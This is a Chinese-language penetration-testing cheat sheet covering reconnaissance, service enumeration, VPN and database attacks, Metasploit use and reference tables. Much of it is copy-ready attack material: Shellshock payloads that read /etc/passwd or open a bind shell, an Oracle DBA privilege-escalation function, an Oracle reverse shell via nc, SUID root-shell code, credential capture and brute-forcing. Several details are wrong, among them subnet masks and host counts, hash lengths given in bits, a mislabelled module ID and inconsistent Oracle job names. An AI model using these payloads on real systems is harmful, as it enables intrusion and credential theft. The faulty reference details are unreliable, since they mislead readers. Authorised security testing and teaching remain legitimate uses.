目录导航
渗透测试工具备忘单,典型渗透测试活动的快速参考高级概述。设计为快速参考备忘单,提供第三方渗透测试公司在执行手动基础设施渗透测试时将运行的典型命令的高级概述。有关更深入的信息,我建议使用该工具的 man 文件或更具体的渗透测试备忘单从右侧菜单中获取。
这个备忘单的重点是基础设施/网络渗透测试,除了最后的一些sqlmap命令和一些Web服务器枚举之外,这里不涉及Web应用程序渗透测试。对于 Web 应用程序渗透测试,请查看 Web 应用程序黑客手册,它非常适合学习和参考。
网络配置
ifconfig eth0 xxx.xxx.xxx.xxx/24
子网划分
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
开源情报
被动信息收集
域名系统
WHOIS 枚举
whois domain-name-here.com
执行 DNS IP 查找
dig a domain-name-here.com @nameserver
执行 MX 记录查找
dig mx domain-name-here.com @nameserver
使用 DIG 执行区域传输
dig axfr domain-name-here.com @nameserver
DNS 区域传输
命令 | 描述 |
---|---|
nslookup -> set type=any -> ls -d blah.com | Windows DNS 区域传输 |
dig axfr blah.com @ns1.blah.com | Linux DNS 区域传输 |
电子邮件
简单的电子邮件
使用简单的电子邮件枚举所有在线位置(github、目标站点等),如果您使用代理或设置较长的节流时间,效果会更好,这样 google 就不会认为您是机器人并让您填写验证码。
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
简单电子邮件可以在收集后验证发现的电子邮件地址。
半主动信息收集
基本指纹
手动指纹/横幅抓取。
命令 | 描述 |
---|---|
nc -v 192.168.1.1 25 telnet 192.168.1.1 25 | 通过显示的横幅进行基本版本控制/指纹识别 |
用 NC 抓取横幅
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
主动信息收集
DNS 暴力破解
域名解析
DNS 枚举 Kali – DNSRecon
root:# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
端口扫描
Nmap 命令
有关更多命令,请参阅 Nmap 备忘单(右侧菜单中的链接)。
基本的 Nmap 命令:
命令 | 描述 |
---|---|
nmap -v -sS -A -T4 target | Nmap 详细扫描、运行同步隐身、T4 计时(在 LAN 上应该没问题)、操作系统和服务版本信息、跟踪路由和针对服务的脚本 |
nmap -v -sS -p--A -T4 target | 如上所述,但扫描所有 TCP 端口(需要更长的时间) |
nmap -v -sU -sS -p- -A -T4 target | 如上所述,但扫描所有 TCP 端口和 UDP 扫描(需要更长的时间) |
nmap -v -p 445 --script=smb-check-vulns | 用于扫描易受攻击的 SMB 服务器的 Nmap 脚本 – 警告:unsafe=1 可能会导致崩溃 |
ls /usr/share/nmap/scripts/* | grep ftp | 在 nmap 脚本中搜索关键字 |
我有几个人提到过 T4 扫描,请在此处应用常识。不要在外部渗透测试中使用 T4 命令(当使用 Internet 连接时),最好使用带有 TCP 连接扫描的 T2。T4 扫描可能更适合内部渗透测试,通过具有大量带宽的低延迟链接。但这一切都取决于目标设备,如果您对它们进行 T4 / T5 并给出不确定的结果,嵌入式设备将会遇到困难。作为一般经验法则,尽可能慢地扫描,或者对前 1000 个进行快速扫描,这样您就可以开始渗透测试,然后开始较慢的扫描。
Nmap UDP 扫描
nmap -sU TARGET
UDP 协议扫描器
git clone https://github.com/portcullislabs/udp-proto-scanner.git
扫描所有服务的 IP 地址文件:
./udp-protocol-scanner.pl -f ip.txt
扫描特定的 UDP 服务:
udp-proto-scanner.pl -p ntp -f ips.txt
其他主机发现
其他不使用 nmap 的主机发现方法……
命令 | 描述 |
---|---|
netdiscover -r 192.168.1.0/24 | 从 ARP 发现子网上的 IP、MAC 地址和 MAC 供应商,有助于确认您位于 $client 站点的正确 VLAN |
枚举和攻击网络服务
专门识别和/或枚举网络服务的渗透测试工具:
SAMB / SMB / Windows 域枚举
samba枚举
SMB 枚举工具
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
另请参阅 nbtscan 备忘单(右侧菜单)。
命令 | 描述 |
---|---|
nbtscan 192.168.1.0/24 | 发现子网上的 Windows/Samba 服务器,发现 Windows MAC 地址、netbios 名称并发现客户端工作组/域 |
enum4linux -a target-ip | 做一切,运行所有选项(查找 Windows 客户端域/工作组),除了基于字典的共享名称猜测 |
指纹SMB版
smbclient -L //192.168.1.100
查找开放的 SMB 共享
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
枚举 SMB 用户
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
RID Cycling:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
用于 RID 循环的 Metasploit 模块:
use auxiliary/scanner/smb/smb_lookupsid
手动空会话测试:
windwows:
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
在 Kali rolling上安装:
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
LLMNR / NBT-NS 欺骗
从网络上窃取凭据。
Metasploit LLMNR / NetBIOS 请求
欺骗/毒害 LLMNR/NetBIOS 请求:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
捕获哈希:
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
你最终会得到 NTLMv2 哈希,使用 john 或 hashcat 来破解它。
Responder.py
或者,您可以使用Responder。
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
为整个参与运行 Responder.py
在处理其他攻击向量时,在参与期间运行 Responder.py。
SNMP 枚举工具
许多 SNMP 枚举工具。
修复 SNMP 输出值,以便它们是人类可读的:
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
命令 | 描述 |
---|---|
snmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1| snmpenum -t 192.168.1.X onesixtyone -c names -i hosts | SNMP 枚举 |
SNMPv3 枚举工具
使用 nmap 识别 SNMPv3 服务器:
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune 的 snmpwalk 包装器脚本有助于自动化 SNMPv3 的用户名枚举过程:
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
使用 Metasploits 密码字典
Metasploit 的 wordlist(下面的 KALI 路径)具有 SNMP v1 和 2 的通用凭据,对于更新的凭据,请查看 GitHub 上 Daniel Miessler 的 SecLists 项目(不是邮件列表!)。
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
R 服务枚举
这是遗留问题,包括在内是为了完整性。
nmap -A 将执行下面列出的所有 rservices 枚举,为了完整性或手动确认添加了此部分:
RSH 枚举
RSH 运行命令
rsh <target> <command>
Metasploit RSH 登录扫描器
auxiliary/scanner/rservices/rsh_login
rusers 显示登录用户
rusers -al 192.168.2.1
rusers 扫描整个子网
rlogin -l <user> <target>
例如 rlogin -l root TARGET-SUBNET/24
Finger枚举
finger @TARGET-IP
指一个特定的用户名
finger batman@TARGET-IP
显示所有登录用户的 Solaris 错误:
finger 0@host
SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN
finger 'a b c d e f g h'@sunhost
rwho
使用 nmap 识别运行 rwhod (513 UDP) 的机器
TLS 和 SSL 测试
测试文件
在单个主机上测试所有内容并输出到 .html 文件:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
漏洞评估
在 Kali Rolling 上安装 OpenVAS 8:
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
使用以下命令验证 openvas 是否正在运行:
netstat -tulpn
在 https://127.0.0.1:9392 登录 – 在 openvas-setup 期间生成凭据。
数据库渗透测试
攻击暴露在网络上的数据库服务器。
Oracle{甲骨文}
安装 osscanner:
apt-get install oscanner
运行 osscanner:
oscanner -s 192.168.1.200 -P 1521
指纹 Oracle TNS 版本
安装 tnscmd10g:
apt-get install tnscmd10g
指纹oracle tns:
tnscmd10g version -h TARGET
nmap --script=oracle-tns-version
暴力破解 oracle 用户帐户
确定默认的 Oracle 帐户:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
针对 Oracle TNS 运行 nmap 脚本:
nmap -p 1521 -A TARGET
Oracle 权限提升
要求:
- Oracle需要在网络上公开
- 默认帐户正在使用中,例如 scott
其工作原理的快速概览:
- 创建函数
- 在表 SYS.DUAL 上创建索引
- 我们刚刚创建的索引执行我们的函数 SCOTT.DBA_X
- 该函数将由 SYS 用户执行(因为这是拥有该表的用户)。
- 创建一个具有 DBA 特权的帐户
在下面的示例中,使用用户 SCOTT,但这应该可以使用另一个默认 Oracle 帐户。
使用 NMAP NSE 脚本识别 oracle 数据库中的默认帐户:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
使用已识别的弱帐户登录(假设您找到了一个)。
如何识别 oracle 用户的当前权限级别:
SQL> select * from session_privs;
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc 并获得 DBA 访问权限:
运行netcat:netcat -nvlp 443
代码>
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
使用选择查询运行漏洞利用:
SQL> Select * from session_privs;
您应该有一个具有凭据 user1 和 pass1 的 DBA 用户。
通过再次重新运行第一个命令来验证您是否具有 DBA 权限。
使用以下命令删除漏洞:
drop index exploit_1337;
获取 Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
MSSQL
枚举/发现:
nmap:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Metasploit:
msf > use auxiliary/scanner/mssql/mssql_ping
使用 MS SQL Server 浏览更多
尝试通过 MS SQL Server Management Studio 使用“浏览更多”
暴力破解 MSSQL
msf > use auxiliary/admin/mssql/mssql_enum
Metasploit MSSQL Shell
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
网络
Plink.exe 隧道
PuTTY 链接隧道
将远程端口转发到本地地址:
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
Pivoting
SSH Pivoting
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
在 /etc/proxychains.conf 中添加 socks4 127.0.0.1 1010
SSH 从一个网络转向另一个网络:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
在 /etc/proxychains.conf 中添加 socks4 127.0.0.1 1010
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
在/etc/proxychains.conf 中添加socks4 127.0.0.1 1011
Meterpreter Pivoting
TTL指纹
操作系统 | TTL 大小 |
---|---|
视窗 | 128 |
Linux | 64 |
索拉里斯 | 255 |
思科 / 网络 | 255 |
IPv4 备忘单
有类 IP 范围
例如 A、B、C 类(折旧)
班级 | IP 地址范围 |
---|---|
A 类 IP 地址范围 | 0.0.0.0 - 127.255.255.255 |
B 类 IP 地址范围 | 128.0.0.0 - 191.255.255.255 |
C 类 IP 地址范围 | 192.0.0.0 - 223.255.255.255 |
D 类 IP 地址范围 | 224.0.0.0 - 239.255.255.255 |
E 类 IP 地址范围 | 240.0.0.0 - 255.255.255.255 |
IPv4 私有地址范围
班级 | 范围 |
---|---|
A 类私有地址范围 | 10.0.0.0 - 10.255.255.255 |
B 类私有地址范围 | 172.16.0.0 - 172.31.255.255 |
C 类私有地址范围 | 192.168.0.0 - 192.168.255.255 |
127.0.0.0 - 127.255.255.255 |
IPv4 子网速查表

子网备忘单,并非真正用于渗透测试,而是一个有用的参考。
CIDR | 十进制掩码 | 主机数 |
---|---|---|
/31 | 255.255.255.254 | 1 |
/30 | 255.255.255.252 | 2 |
/29 | 255.255.255.249 | 6 |
/28 | 255.255.255.240 | 14 |
/27 | 255.255.255.224 | 30 |
/26 | 255.255.255.192 | 62 |
/25 | 255.255.255.128 | 126 |
/24 | 255.255.255.0 | 254 |
/23 | 255.255.254.0 | 512 |
/22 | 255.255.252.0 | 1022 |
/21 | 255.255.248.0 | 2046 |
/20 | 255.255.240.0 | 4094 |
/19 | 255.255.224.0 | 8190 |
/18 | 255.255.192.0 | 16382 |
/17 | 255.255.128.0 | 32766 |
/16 | 255.255.0.0 | 65534 |
/15 | 255.254.0.0 | 131070 |
/14 | 255.252.0.0 | 262142 |
/13 | 255.248.0.0 | 524286 |
/12 | 255.240.0.0 | 1048674 |
/11 | 255.224.0.0 | 2097150 |
/10 | 255.192.0.0 | 4194302 |
/9 | 255.128.0.0 | 8388606 |
/8 | 255.0.0.0 | 16777214 主机 |
VLAN跳跃
为 Yersina 使用 NCCGroups VLAN 包装器脚本可简化该过程。
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
VPN 渗透测试工具
识别 VPN 服务器:
./udp-protocol-scanner.pl -p ike TARGET(s)
扫描 VPN 服务器的范围:
./udp-protocol-scanner.pl -p ike -f ip.txt
IKEForce
使用 IKEForce 枚举或字典攻击 VPN 服务器。
安装:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
使用 IKEForce 执行 IKE VPN 枚举:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
使用 IKEForce 的暴力 IKE VPN:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
IKE 激进模式 PSK 破解
- 识别 VPN 服务器
- 用IKEForce枚举获取组ID
- 使用 ike-scan 从 IKE 端点捕获 PSK 哈希
- 使用psk-crack破解hash
步骤 1:识别 IKE 服务器
./udp-protocol-scanner.pl -p ike SUBNET/24
第 2 步:使用 IKEForce 枚举组名
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
第 3 步:使用 ike-scan 捕获 PSK 哈希
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
第四步:使用psk-crack破解PSK哈希
psk-crack hash-file.txt
下面一些更高级的 psk-crack 选项:
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP 黑客
识别PPTP,它监听TCP:1723
NMAP PPTP 指纹:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP字典攻击
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
DNS隧道
通过 DNS 隧道传输数据以绕过防火墙。
dnscat2 支持“下载”和“上传”命令,用于从目标机器获取文件(数据和程序)。
攻击机
安装:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
运行 dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
目标机器:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>
BOF/Exploit
Exploit研究
查找枚举主机/服务的漏洞利用。
命令 | 描述 |
---|---|
searchsploit windows 2003 | grep -i local | 在exploit-db中搜索exploit,在这个例子中是windows 2003 + local esc |
site:exploit-db.com exploit kernel <= 3 | 使用谷歌搜索exploit-db.com寻找漏洞 |
grep -R "W7" /usr/share/metasploit-framework | 使用 grep 搜索 metasploit 模块 – msf 搜索有点糟糕 |
搜索漏洞Exploit
安装exploit-db的本地副本:
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
在 Kali 上编译 Windows 漏洞利用
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
交叉编译Exploit
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
常见漏洞Exploit
Shellshock Exploit
一种查找和利用易受 Shellshock 攻击的服务器的工具:
git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat 文件(查看文件内容)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
冲击运行绑定 shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
反向 shell
nc -l -p 443
简单的本地 Web 服务器
Python 本地 Web 服务器命令,可方便地在攻击机器上提供 shell 和漏洞利用。
命令 | 描述 |
---|---|
python -m SimpleHTTPServer 80 | 运行一个基本的 http 服务器,非常适合提供 shell 等 |
python3 -m http.server | 运行一个基本的 Python3 http 服务器,非常适合提供 shell 等 |
ruby -rwebrick -e "WEBrick::HTTPServer.new | 运行一个 ruby webrick 基本的 http 服务器 |
php -S 0.0.0.0:80 | 运行一个基本的 PHP http 服务器 |
挂载文件共享
如何挂载 NFS/CIFS、Windows 和 Linux 文件共享。
命令 | 描述 |
---|---|
mount 192.168.1.1:/vol/share /mnt/nfs | 将 NFS 共享挂载到 /mnt/nfs |
mount -t cifs -o username=user,password=pass | 在 Linux 上挂载 Windows CIFS / SMB 共享,/mnt/cifs 如果您删除密码,它将在 CLI 上提示(更安全,因为它不会以 bash_history 结束) |
net use Z: \\win-server\share password | 从命令行在 Windows 上挂载 Windows 共享 |
apt-get install smb4k -y | 在 Kali 上安装 smb4k,用于浏览 SMB 共享的有用 Linux GUI |
HTTP / HTTPS 网络服务器枚举
命令 | 描述 |
---|---|
nikto -h 192.168.1.1 | 对目标执行 nikto 扫描 |
dirbuster | 通过 GUI 配置,CLI 输入大部分时间不起作用 |
数据包检查
命令 | 描述 |
---|---|
tcpdump tcp port 80 -w output.pcap -i eth0 | 接口 eth0 上端口 80 的 tcpdump,输出到 output.pcap |
用户名枚举
一些用于远程枚举目标系统上用户的技术。
SMB 用户枚举
命令 | 描述 |
---|---|
python /usr/share/doc/python-impacket-doc/examples | 从 SMB 枚举用户 |
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt | RID 循环 SMB / 从 SMB 枚举用户 |
SNMP 用户枚举
命令 | 描述 |
---|---|
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 | 从 SNMP 启用用户 |
python /usr/share/doc/python-impacket-doc/examples/ | 从 SNMP 启用用户 |
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt | 使用 nmap、grepable 输出搜索 SNMP 服务器 |
密码
密码字典
命令 | 描述 |
---|---|
/usr/share/wordlists | kali自带的密码字典 |

暴力破解服务
Hydra FTP 暴力破解
命令 | 描述 |
---|---|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f | Hydra FTP 暴力破解 |
Hydra POP3 蛮力
命令 | 描述 |
---|---|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f | Hydra POP3 蛮力 |
Hydra SMTP 暴力破解
命令 | 描述 |
---|---|
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V | Hydra SMTP 暴力破解 |
使用-t
限制并发连接,例如:-t 15
密码破解
密码破解渗透测试工具。
开膛手约翰 – JTR
命令 | 描述 |
---|---|
john --wordlist=/usr/share/wordlists/rockyou.txt hashes | JTR密码破解 |
john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt | JTR用wordlist强制解密破解 |
john --format=descrypt hash --show | JTR强制解密蛮力破解 |
Windows 渗透测试命令
请参阅Windows 渗透测试命令。
Linux 渗透测试命令
有关 Linux 渗透测试命令的列表,请参阅 Linux 命令备忘单(右侧菜单),对本地系统枚举很有用。
编译漏洞利用
关于编译漏洞的一些注意事项。
确定 C 代码是用于 Windows 还是 Linux
C #includes 将指示应该使用哪个操作系统来构建漏洞利用。
命令 | 描述 |
---|---|
process.h, string.h, winbase.h, windows.h, winsock2.h | Windows 漏洞利用代码 |
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, | Linux漏洞利用代码 |
构建利用 GCC
编译exploit gcc。
命令 | 描述 |
---|---|
gcc -o exploit exploit.c | 基本的 GCC 编译 |
GCC 在 64 位 Kali 上编译 32 位漏洞
便于在 64 位攻击机器上交叉编译 32 位二进制文件。
命令 | 描述 |
---|---|
gcc -m32 exploit.c -o exploit | 在 64 位 Linux 上交叉编译 32 位二进制文件 |
在 Linux 上编译 Windows .exe
在 Linux 上构建/编译 Windows 漏洞利用程序,生成一个 .exe 文件。
命令 | 描述 |
---|---|
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe | 在 Linux 上编译 windows .exe |
SUID 二进制
通常需要 SUID C 二进制文件以超级用户身份生成 shell,您可以根据需要更新 UID/GID 和 shell。
以下是各种 shell 的一些快速复制和粘贴示例:
/bin/bash 的 SUID C Shell
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
/bin/sh 的 SUID C Shell
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
构建 SUID Shell 二进制文件
gcc -o suid suid.c
对于 32 位:
gcc -m32 -o suid suid.c
反向shell
有关有用的 Reverse Shell列表,请参阅Reverse Shell Cheat Sheet。
TTY shell
从 Linux 中的有限 shell 生成 TTY shell 的提示/技巧,对于su
从反向 shell等运行命令非常有用。
Python TTY Shell 技巧
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
生成交互式 sh shell
/bin/sh -i
生成 Perl TTY Shell
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
生成 Ruby TTY Shell
exec "/bin/sh"
生成 Lua TTY Shell
os.execute('/bin/sh')
从 Vi 生成 TTY Shell
从 vi 运行 shell 命令:
:!bash
生成 TTY Shell NMAP
!sh
Metasploit 备忘单
一个基本的 metasploit 备忘单,我找到了方便参考。
基本的 Metasploit 命令,可用于参考,用于旋转请参阅 – Meterpreter 旋转技术。
Meterpreter 有效载荷
Windows 反向 Meterpreter 有效负载
命令 | 描述 |
---|---|
set payload windows/meterpreter/reverse_tcp | Windows 反向 tcp 负载 |
Windows VNC Meterpreter 有效负载
命令 | 描述 |
---|---|
set payload windows/vncinject/reverse_tcp set ViewOnly false | Meterpreter Windows VNC 有效负载 |
Linux 反向 Meterpreter 有效负载
命令 | 描述 |
---|---|
set payload linux/meterpreter/reverse_tcp | Meterpreter Linux 反向有效负载 |
Meterpreter 备忘单
有用的meterpreter 命令。
命令 | 描述 |
---|---|
upload file c:\\windows | Meterpreter 上传文件到 Windows 目标 |
download c:\\windows\\repair\\sam /tmp | Meterpreter 从 Windows 目标下载文件 |
download c:\\windows\\repair\\sam /tmp | Meterpreter 从 Windows 目标下载文件 |
execute -f c:\\windows\temp\exploit.exe | Meterpreter 在目标上运行 .exe – 便于执行上传的漏洞利用 |
execute -f cmd -c | 使用 cmd shell 创建新通道 |
ps | Meterpreter 显示流程 |
shell | Meterpreter 在目标上获取 shell |
getsystem | Meterpreter 尝试提升目标权限 |
hashdump | Meterpreter 尝试将哈希值转储到目标上 |
portfwd add –l 3389 –p 3389 –r target | Meterpreter 创建端口转发到目标机器 |
portfwd delete –l 3389 –p 3389 –r target | Meterpreter 删除端口转发 |
常见的 Metasploit 模块

顶级 metasploit 模块。
远程 Windows Metasploit 模块(漏洞利用)
命令 | 描述 |
---|---|
use exploit/windows/smb/ms08_067_netapi | MS08_067 Windows 2k、XP、2003 远程利用 |
use exploit/windows/dcerpc/ms06_040_netapi | MS08_040 Windows NT、2k、XP、2003 远程漏洞利用 |
use exploit/windows/smb/ | MS09_050 Windows Vista SP1/SP2 和 Server 2008 (x86) 远程利用 |
本地 Windows Metasploit 模块(漏洞利用)
命令 | 描述 |
---|---|
use exploit/windows/local/bypassuac | 在 Windows 7 上绕过 UAC + 设置目标 + arch、x86/64 |
辅助 Metasploit 模块
命令 | 描述 |
---|---|
use auxiliary/scanner/http/dir_scanner | Metasploit HTTP 目录扫描器 |
use auxiliary/scanner/http/jboss_vulnscan | Metasploit JBOSS 漏洞扫描器 |
use auxiliary/scanner/mssql/mssql_login | Metasploit MSSQL 凭证扫描器 |
use auxiliary/scanner/mysql/mysql_version | Metasploit MSSQL 版本扫描器 |
use auxiliary/scanner/oracle/oracle_login | Metasploit Oracle 登录模块 |
Metasploit Powershell 模块
命令 | 描述 |
---|---|
use exploit/multi/script/web_delivery | Metasploit powershell 有效载荷传送模块 |
post/windows/manage/powershell/exec_powershell | Metasploit 通过会话上传和运行 powershell 脚本 |
use exploit/multi/http/jboss_maindeployer | Metasploit JBOSS 部署 |
use exploit/windows/mssql/mssql_payload | Metasploit MSSQL 有效负载 |
后渗透 Windows Metasploit 模块
用于权限提升的 Windows Metasploit 模块。
命令 | 描述 |
---|---|
run post/windows/gather/win_privs | Metasploit 显示当前用户的权限 |
use post/windows/gather/credentials/gpp | Metasploit 抓取 GPP 保存的密码 |
load mimikatz -> wdigest | Metasplit 加载 Mimikatz |
run post/windows/gather/local_admin_search_enum | 识别提供的域用户具有管理访问权限的其他计算机 |
run post/windows/gather/smart_hashdump | 自动转储 sam 文件,尝试 esc 权限等 |
ASCII 表速查表
对于 Web 应用程序渗透测试很有用,或者如果您被困在火星上并需要与 NASA 通信。
ASCII | CHARACTER |
---|---|
x00 | Null Byte |
x08 | BS |
x09 | TAB |
x0a | LF |
x0d | CR |
x1b | ESC |
x20 | SPC |
x21 | ! |
x22 | “ |
x23 | # |
x24 | $ |
x25 | % |
x26 | & |
x27 | ` |
x28 | ( |
x29 | ) |
x2a | * |
x2b | + |
x2c | , |
x2d | – |
x2e | . |
x2f | / |
x30 | 0 |
x31 | 1 |
x32 | 2 |
x33 | 3 |
x34 | 4 |
x35 | 5 |
x36 | 6 |
x37 | 7 |
x38 | 8 |
x39 | 9 |
x3a | : |
x3b | ; |
x3c | < |
x3d | = |
x3e | > |
x3f | ? |
x40 | @ |
x41 | A |
x42 | B |
x43 | C |
x44 | D |
x45 | E |
x46 | F |
x47 | G |
x48 | H |
x49 | I |
x4a | J |
x4b | K |
x4c | L |
x4d | M |
x4e | N |
x4f | O |
x50 | P |
x51 | Q |
x52 | R |
x53 | S |
x54 | T |
x55 | U |
x56 | V |
x57 | W |
x58 | X |
x59 | Y |
x5a | Z |
x5b | [ |
x5c | \ |
x5d | ] |
x5e | ^ |
x5f | _ |
x60 | ` |
x61 | a |
x62 | b |
x63 | c |
x64 | d |
x65 | e |
x66 | f |
x67 | g |
x68 | h |
x69 | i |
x6a | j |
x6b | k |
x6c | l |
x6d | m |
x6e | n |
x6f | o |
x70 | p |
x71 | q |
x72 | r |
x73 | s |
x74 | t |
x75 | u |
x76 | v |
x77 | w |
x78 | x |
x79 | y |
x7a | z |
思科 IOS 命令
一组有用的 Cisco IOS 命令。
命令 | 描述 |
---|---|
enable | 进入启用模式 |
conf t | 简写,配置终端 |
(config)# interface fa0/0 | 配置 FastEthernet 0/0 |
(config-if)# ip addr 0.0.0.0 255.255.255.255 | 将 ip 添加到 fa0/0 |
(config-if)# ip addr 0.0.0.0 255.255.255.255 | 将 ip 添加到 fa0/0 |
(config-if)# line vty 0 4 | 配置 vty 线路 |
(config-line)# login | 思科设置telnet密码 |
(config-line)# password YOUR-PASSWORD | 设置远程登录密码 |
# show running-config | 显示内存中加载的运行配置 |
# show startup-config | 显示启动配置 |
# show version | 显示 cisco IOS 版本 |
# show session | 显示打开的会话 |
# show ip interface | 显示网络接口 |
# show interface e0 | 显示详细的接口信息 |
# show ip route | 显示路线 |
# show access-lists | 显示访问列表 |
# dir file systems | 显示可用文件 |
# dir all-filesystems | 文件信息 |
# dir /all | 显示删除的文件 |
# terminal length 0 | 终端输出无限制 |
# copy running-config tftp | 将运行配置复制到 tftp 服务器 |
# copy running-config startup-config | 将启动配置复制到运行配置 |
密码学
哈希长度
哈希 | 尺寸 |
---|---|
MD5 哈希长度 | 16位 |
SHA-1 哈希长度 | 20 |
SHA-256 哈希长度 | 32位 |
SHA-512 哈希长度 | 64位 |
哈希示例
可能只是为此使用哈希标识符,但这里有一些示例哈希:
哈希 | 例子 |
---|---|
MD5 哈希示例 | 8743b52063cd84097a65d1633f5c74f5 |
MD5 $PASS:$SALT 示例 | 01dfae6e5d4d90d9892622325959afbe:7050461 |
MD5 $SALT:$PASS | f0fda58630310a6dd91a7d8f0a4ceda2:4225637426 |
SHA1 哈希示例 | b89eaac7e61417341b710b727768294d0e6a277b |
SHA1 $PASS:$SALT | 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014 |
SHA1 $SALT:$PASS | cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024 |
SHA-256 | 127e6fbfe24a750e72930c220a8e138275656b |
